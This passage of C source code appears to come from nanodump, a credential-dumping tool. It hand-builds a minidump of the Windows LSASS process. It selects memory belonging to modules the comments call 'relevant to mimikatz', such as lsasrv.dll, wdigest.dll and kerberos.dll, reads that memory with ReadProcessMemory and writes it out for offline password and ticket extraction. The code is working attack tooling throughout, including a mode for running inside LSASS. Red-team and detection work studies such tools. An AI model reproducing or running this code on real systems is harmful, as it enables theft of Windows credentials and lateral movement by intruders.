511 | memcpy(system_info_bytes + offset, &system_info.SuiteMask, 2); offset += 2;
512 | memcpy(system_info_bytes + offset, &system_info.Reserved2, 2); offset += 2;
513 | #if _WIN64
514 | memcpy(system_info_bytes + offset, &system_info.ProcessorFeatures1, 8); offset += 8;
515 | memcpy(system_info_bytes + offset, &system_info.ProcessorFeatures2, 8);
516 | #else
517 | memcpy(system_info_bytes + offset, &system_info.VendorId1, 4); offset += 4;
518 | memcpy(system_info_bytes + offset, &system_info.VendorId2, 4); offset += 4;
519 | memcpy(system_info_bytes + offset, &system_info.VendorId3, 4); offset += 4;
520 | memcpy(system_info_bytes + offset, &system_info.VersionInformation, 4); offset += 4;
521 | memcpy(system_info_bytes + offset, &system_info.FeatureInformation, 4); offset += 4;
522 | memcpy(system_info_bytes + offset, &system_info.AMDExtendedCpuFeatures, 4);
523 | #endif
524 |
525 | ULONG32 stream_rva = dc->rva;
526 | if (!append(dc, system_info_bytes, stream_size))
527 | {
528 | DPRINT_ERR("Failed to write the SystemInfoStream");
529 | return FALSE;
530 | }
531 |
532 | // write our length in the MiniDumpSystemInfo directory
533 | writeat(dc, SIZE_OF_HEADER + 4, &stream_size, 4); // header + streamType
534 |
535 | // write our RVA in the MiniDumpSystemInfo directory
536 | writeat(dc, SIZE_OF_HEADER + 4 + 4, &stream_rva, 4); // header + streamType + Location.DataSize
537 |
538 | // write the service pack
539 | ULONG32 sp_rva = dc->rva;
540 | ULONG32 Length = CSDVersion->Length;
541 | // write the length
542 | if (!append(dc, &Length, 4))
543 | {
544 | DPRINT_ERR("Failed to write the SystemInfoStream");
545 | return FALSE;
546 | }
547 | // write the service pack name
548 | if (!append(dc, CSDVersion->Buffer, CSDVersion->Length))
549 | {
550 | DPRINT_ERR("Failed to write the SystemInfoStream");
551 | return FALSE;
552 | }
553 | // write the service pack RVA in the SystemInfoStream
554 | writeat(dc, stream_rva + 24, &sp_rva, 4); // addrof CSDVersionRva
555 |
556 | return TRUE;
557 | }
558 |
559 | Pmodule_info write_module_list_stream(
560 | IN Pdump_context dc)
561 | {
562 | DPRINT("Writing the ModuleListStream");
563 |
564 | // list of modules relevant to mimikatz
565 | wchar_t* important_modules[] = {
566 | L"lsasrv.dll", L"msv1_0.dll", L"tspkg.dll", L"wdigest.dll", L"kerberos.dll",
567 | L"livessp.dll", L"dpapisrv.dll", L"kdcsvc.dll", L"cryptdll.dll", L"lsadb.dll",
568 | L"samsrv.dll", L"rsaenh.dll", L"ncrypt.dll", L"ncryptprov.dll", L"eventlog.dll",
569 | L"wevtsvc.dll", L"termsrv.dll", L"cloudap.dll"
570 | };
571 | Pmodule_info module_list = find_modules(
572 | dc->hProcess,
573 | important_modules,
574 | ARRAY_SIZE(important_modules),
575 | TRUE);
576 | if (!module_list)
577 | {
578 | DPRINT_ERR("Failed to write the ModuleListStream");
579 | return NULL;
580 | }
581 |
582 | // write the full path of each dll
583 | Pmodule_info curr_module = module_list;
584 | ULONG32 number_of_modules = 0;
585 | while (curr_module)
586 | {
587 | number_of_modules++;
588 | curr_module->name_rva = dc->rva;
589 | ULONG32 full_name_length = (ULONG32)WCSNLEN((wchar_t*)&curr_module->dll_name, sizeof(curr_module->dll_name));
590 | full_name_length++; // account for the null byte at the end
591 | full_name_length *= 2;
592 | // write the length of the name
593 | if (!append(dc, &full_name_length, 4))
594 | {
595 | DPRINT_ERR("Failed to write the ModuleListStream");
596 | free_linked_list(module_list, sizeof(module_info)); module_list = NULL;
597 | return NULL;
598 | }
599 | // write the path
600 | if (!append(dc, curr_module->dll_name, full_name_length))
601 | {
602 | DPRINT_ERR("Failed to write the ModuleListStream");
603 | free_linked_list(module_list, sizeof(module_info)); module_list = NULL;
604 | return NULL;
605 | }
606 | curr_module = curr_module->next;
607 | }
608 |
609 | ULONG32 stream_rva = dc->rva;
610 | // write the number of modules
611 | if (!append(dc, &number_of_modules, 4))
612 | {
613 | DPRINT_ERR("Failed to write the ModuleListStream");
614 | free_linked_list(module_list, sizeof(module_info)); module_list = NULL;
615 | return NULL;
616 | }
617 | BYTE module_bytes[SIZE_OF_MINIDUMP_MODULE] = { 0 };
618 | curr_module = module_list;
619 | while (curr_module)
620 | {
621 | MiniDumpModule module = { 0 };
622 | module.BaseOfImage = (ULONG_PTR)curr_module->dll_base;
623 | module.SizeOfImage = curr_module->size_of_image;
624 | module.CheckSum = curr_module->CheckSum;
625 | module.TimeDateStamp = curr_module->TimeDateStamp;
626 | module.ModuleNameRva = curr_module->name_rva;
627 | module.VersionInfo.dwSignature = 0;
628 | module.VersionInfo.dwStrucVersion = 0;
629 | module.VersionInfo.dwFileVersionMS = 0;
630 | module.VersionInfo.dwFileVersionLS = 0;
631 | module.VersionInfo.dwProductVersionMS = 0;
632 | module.VersionInfo.dwProductVersionLS = 0;
633 | module.VersionInfo.dwFileFlagsMask = 0;
634 | module.VersionInfo.dwFileFlags = 0;
635 | module.VersionInfo.dwFileOS = 0;
636 | module.VersionInfo.dwFileType = 0;
637 | module.VersionInfo.dwFileSubtype = 0;
638 | module.VersionInfo.dwFileDateMS = 0;
639 | module.VersionInfo.dwFileDateLS = 0;
640 | module.CvRecord.DataSize = 0;
641 | module.CvRecord.rva = 0;
642 | module.MiscRecord.DataSize = 0;
643 | module.MiscRecord.rva = 0;
644 | module.Reserved0 = 0;
645 | module.Reserved1 = 0;
646 |
647 | DWORD offset = 0;
648 | memcpy(module_bytes + offset, &module.BaseOfImage, 8); offset += 8;
649 | memcpy(module_bytes + offset, &module.SizeOfImage, 4); offset += 4;
650 | memcpy(module_bytes + offset, &module.CheckSum, 4); offset += 4;
651 | memcpy(module_bytes + offset, &module.TimeDateStamp, 4); offset += 4;
652 | memcpy(module_bytes + offset, &module.ModuleNameRva, 4); offset += 4;
653 | memcpy(module_bytes + offset, &module.VersionInfo.dwSignature, 4); offset += 4;
654 | memcpy(module_bytes + offset, &module.VersionInfo.dwStrucVersion, 4); offset += 4;
655 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileVersionMS, 4); offset += 4;
656 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileVersionLS, 4); offset += 4;
657 | memcpy(module_bytes + offset, &module.VersionInfo.dwProductVersionMS, 4); offset += 4;
658 | memcpy(module_bytes + offset, &module.VersionInfo.dwProductVersionLS, 4); offset += 4;
659 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileFlagsMask, 4); offset += 4;
660 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileFlags, 4); offset += 4;
661 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileOS, 4); offset += 4;
662 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileType, 4); offset += 4;
663 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileSubtype, 4); offset += 4;
664 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileDateMS, 4); offset += 4;
665 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileDateLS, 4); offset += 4;
666 | memcpy(module_bytes + offset, &module.CvRecord.DataSize, 4); offset += 4;
667 | memcpy(module_bytes + offset, &module.CvRecord.rva, 4); offset += 4;
668 | memcpy(module_bytes + offset, &module.MiscRecord.DataSize, 4); offset += 4;
669 | memcpy(module_bytes + offset, &module.MiscRecord.rva, 4); offset += 4;
670 | memcpy(module_bytes + offset, &module.Reserved0, 8); offset += 8;
671 | memcpy(module_bytes + offset, &module.Reserved1, 8);
672 |
673 | if (!append(dc, module_bytes, sizeof(module_bytes)))
674 | {
675 | DPRINT_ERR("Failed to write the ModuleListStream");
676 | free_linked_list(module_list, sizeof(module_info)); module_list = NULL;
677 | return NULL;
678 | }
679 | curr_module = curr_module->next;
680 | }
681 |
682 | // write our length in the ModuleListStream directory
683 | ULONG32 stream_size = 4 + number_of_modules * sizeof(module_bytes);
684 | writeat(dc, SIZE_OF_HEADER + SIZE_OF_DIRECTORY + 4, &stream_size, 4); // header + 1 directory + streamType
685 |
686 | // write our RVA in the ModuleListStream directory
687 | writeat(dc, SIZE_OF_HEADER + SIZE_OF_DIRECTORY + 4 + 4, &stream_rva, 4); // header + 1 directory + streamType + Location.DataSize
688 |
689 | return module_list;
690 | }
691 |
692 | BOOL is_important_module(
693 | IN PVOID address,
694 | IN Pmodule_info module_list)
695 | {
696 | Pmodule_info curr_module = module_list;
697 | while (curr_module)
698 | {
699 | if ((ULONG_PTR)address >= (ULONG_PTR)curr_module->dll_base &&
700 | (ULONG_PTR)address < RVA(ULONG_PTR, curr_module->dll_base, curr_module->size_of_image))
701 | return TRUE;
702 | curr_module = curr_module->next;
703 | }
704 | return FALSE;
705 | }
706 |
707 | PMiniDumpMemoryDescriptor64 get_memory_ranges(
708 | IN Pdump_context dc,
709 | IN Pmodule_info module_list)
710 | {
711 | PMiniDumpMemoryDescriptor64 ranges_list = NULL;
712 | PVOID base_address, current_address;
713 | PMiniDumpMemoryDescriptor64 new_range;
714 | ULONG64 region_size;
715 | current_address = 0;
716 | MEMORY_INFORMATION_CLASS mic = 0;
717 | MEMORY_BASIC_INFORMATION mbi = { 0 };
718 | DWORD number_of_ranges = 0;
719 | SIZE_T status;
720 |
721 | DPRINT("Getting memory ranges to dump");
722 |
723 | while (TRUE)
724 | {
725 | status = VirtualQueryEx(
726 | dc->hProcess,
727 | (PVOID)current_address,
728 | &mbi,
729 | sizeof(mbi));
730 | if (status == 0)
731 | break;
732 |
733 | base_address = mbi.BaseAddress;
734 | region_size = mbi.RegionSize;
735 |
736 | if (((ULONG_PTR)base_address + region_size) < (ULONG_PTR)base_address)
737 | break;
738 |
739 | // next memory range
740 | current_address = RVA(PVOID, base_address, region_size);
741 |
742 | // ignore non-commited pages
743 | if (mbi.State != MEM_COMMIT)
744 | continue;
745 | // ignore mapped pages
746 | if (mbi.Type == MEM_MAPPED)
747 | continue;
748 | // ignore pages with PAGE_NOACCESS
749 | if ((mbi.Protect & PAGE_NOACCESS) == PAGE_NOACCESS)
750 | continue;
751 | // ignore pages with PAGE_GUARD
752 | if ((mbi.Protect & PAGE_GUARD) == PAGE_GUARD)
753 | continue;
754 | // ignore pages with PAGE_EXECUTE
755 | if ((mbi.Protect & PAGE_EXECUTE) == PAGE_EXECUTE)
756 | continue;
757 | // ignore modules that are not relevant to mimikatz
758 | if (mbi.Type == MEM_IMAGE &&
759 | !is_important_module(
760 | base_address,
761 | module_list))
762 | continue;
763 | #ifdef SSP
764 | // if nanodump is running in LSASS, don't dump the dump :)
765 | if (dc->BaseAddress == base_address)
766 | continue;
767 | #endif
768 |
769 | new_range = intAlloc(sizeof(MiniDumpMemoryDescriptor64));
770 | if (!new_range)
771 | {
772 | malloc_failed();
773 | DPRINT_ERR("Failed to get memory ranges to dump");
774 | return NULL;
775 | }
776 | new_range->next = NULL;
777 | new_range->StartOfMemoryRange = (ULONG_PTR)base_address;
778 | new_range->DataSize = region_size;
779 | new_range->State = mbi.State;
780 | new_range->Protect = mbi.Protect;
781 | new_range->Type = mbi.Type;
782 |
783 | if (!ranges_list)
784 | {
785 | ranges_list = new_range;
786 | }
787 | else
788 | {
789 | PMiniDumpMemoryDescriptor64 last_range = ranges_list;
790 | while (last_range->next)
791 | last_range = last_range->next;
792 | last_range->next = new_range;
793 | }
794 | number_of_ranges++;
795 | }
796 | if (!ranges_list)
797 | {
798 | syscall_failed("NtQueryVirtualMemory", status);
799 | DPRINT_ERR("Failed to enumerate memory ranges");
800 | return NULL;
801 | }
802 | DPRINT(
803 | "Enumearted %ld ranges of memory",
804 | number_of_ranges);
805 | return ranges_list;
806 | }
807 |
808 | PMiniDumpMemoryDescriptor64 write_memory64_list_stream(
809 | IN Pdump_context dc,
810 | IN Pmodule_info module_list)
811 | {
812 | PMiniDumpMemoryDescriptor64 memory_ranges;
813 | ULONG32 stream_rva = dc->rva;
814 |
815 | DPRINT("Writing the Memory64ListStream");
816 |
817 | memory_ranges = get_memory_ranges(
818 | dc,
819 | module_list);
820 | if (!memory_ranges)
821 | {
822 | DPRINT_ERR("Failed to write the Memory64ListStream");
823 | return NULL;
824 | }
825 |
826 | // write the number of ranges
827 | PMiniDumpMemoryDescriptor64 curr_range = memory_ranges;
828 | ULONG64 number_of_ranges = 0;
829 | while (curr_range)
830 | {
831 | number_of_ranges++;
832 | curr_range = curr_range->next;
833 | }
834 | if (!append(dc, &number_of_ranges, 8))
835 | {
836 | DPRINT_ERR("Failed to write the Memory64ListStream");
837 | free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL;
838 | return NULL;
839 | }
840 | // make sure we don't overflow stream_size
841 | if (16 + 16 * number_of_ranges > 0xffffffff)
842 | {
843 | DPRINT_ERR("Too many ranges!");
844 | free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL;
845 | return NULL;
846 | }
847 |
848 | // write the rva of the actual memory content
849 | ULONG32 stream_size = (ULONG32)(16 + 16 * number_of_ranges);
850 | ULONG64 base_rva = (ULONG64)stream_rva + stream_size;
851 | if (!append(dc, &base_rva, 8))
852 | {
853 | DPRINT_ERR("Failed to write the Memory64ListStream");
854 | free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL;
855 | return NULL;
856 | }
857 |
858 | // write the start and size of each memory range
859 | curr_range = memory_ranges;
860 | while (curr_range)
861 | {
862 | if (!append(dc, &curr_range->StartOfMemoryRange, 8))
863 | {
864 | DPRINT_ERR("Failed to write the Memory64ListStream");
865 | free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL;
866 | return NULL;
867 | }
868 | if (!append(dc, &curr_range->DataSize, 8))
869 | {
870 | DPRINT_ERR("Failed to write the Memory64ListStream");
871 | free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL;
872 | return NULL;
873 | }
874 | curr_range = curr_range->next;
875 | }
876 |
877 | // write our length in the Memory64ListStream directory
878 | writeat(dc, SIZE_OF_HEADER + SIZE_OF_DIRECTORY * 2 + 4, &stream_size, 4); // header + 2 directories + streamType
879 |
880 | // write our RVA in the Memory64ListStream directory
881 | writeat(dc, SIZE_OF_HEADER + SIZE_OF_DIRECTORY * 2 + 4 + 4, &stream_rva, 4); // header + 2 directories + streamType + Location.DataSize
882 |
883 | // dump all the selected memory ranges
884 | curr_range = memory_ranges;
885 | while (curr_range)
886 | {
887 | // DataSize can be very large but HeapAlloc should be able to handle it
888 | PBYTE buffer = intAlloc(curr_range->DataSize);
889 | if (!buffer)
890 | {
891 | DPRINT_ERR("Failed to write the Memory64ListStream");
892 | malloc_failed();
893 | return NULL;
894 | }
895 | NTSTATUS status = ReadProcessMemory(
896 | dc->hProcess,
897 | (PVOID)(ULONG_PTR)curr_range->StartOfMemoryRange,
898 | buffer,
899 | curr_range->DataSize,
900 | NULL);
901 | // once in a while, a range fails with STATUS_PARTIAL_COPY, not relevant for mimikatz
902 | if (!NT_SUCCESS(status) && status != STATUS_PARTIAL_COPY)
903 | {
904 | DPRINT_ERR(
905 | "Failed to read memory range: StartOfMemoryRange: 0x%p, DataSize: 0x%64llx, State: 0x%lx, Protect: 0x%lx, Type: 0x%lx, NtReadVirtualMemory status: 0x%lx. Continuing anyways...",
906 | (PVOID)(ULONG_PTR)curr_range->StartOfMemoryRange,
907 | curr_range->DataSize,
908 | curr_range->State,
909 | curr_range->Protect,
910 | curr_range->Type,
911 | status);
912 | //return NULL;
913 | }
914 | if (curr_range->DataSize > 0xffffffff)
915 | {
916 | DPRINT_ERR("The current range is larger that the 32-bit address space!");
917 | curr_range->DataSize = 0xffffffff;
918 | }
919 | if (!append(dc, buffer, (ULONG32)curr_range->DataSize))
920 | {
921 | DPRINT_ERR("Failed to write the Memory64ListStream");
922 | free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL;
923 | DATA_FREE(buffer, curr_range->DataSize);
924 | return NULL;
925 | }
926 | DATA_FREE(buffer, curr_range->DataSize);
927 | curr_range = curr_range->next;
928 | }
929 |
930 | return memory_ranges;
931 | }
932 |
933 | BOOL NanoDumpWriteDump(
934 | IN Pdump_context dc)
935 | {
936 | DPRINT("Writing nanodump");
937 |
938 | if (!write_header(dc))
939 | return FALSE;
940 |
941 | if (!write_directories(dc))
942 | return FALSE;
943 |
944 | if (!write_system_info_stream(dc))
945 | return FALSE;
946 |
947 | Pmodule_info module_list;
948 | module_list = write_module_list_stream(dc);
949 | if (!module_list)
950 | return FALSE;
951 |
952 | PMiniDumpMemoryDescriptor64 memory_ranges;
953 | memory_ranges = write_memory64_list_stream(dc, module_list);
954 | if (!memory_ranges)
955 | {
956 | free_linked_list(module_list, sizeof(module_info)); module_list = NULL;
957 | return FALSE;
958 | }
959 |
960 | free_linked_list(module_list, sizeof(module_info)); module_list = NULL;
961 |
962 | free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL;
963 |
964 | DPRINT("The nanodump was created succesfully");
965 |
966 | return TRUE;
967 | }
968 |
--------------------------------------------------------------------------------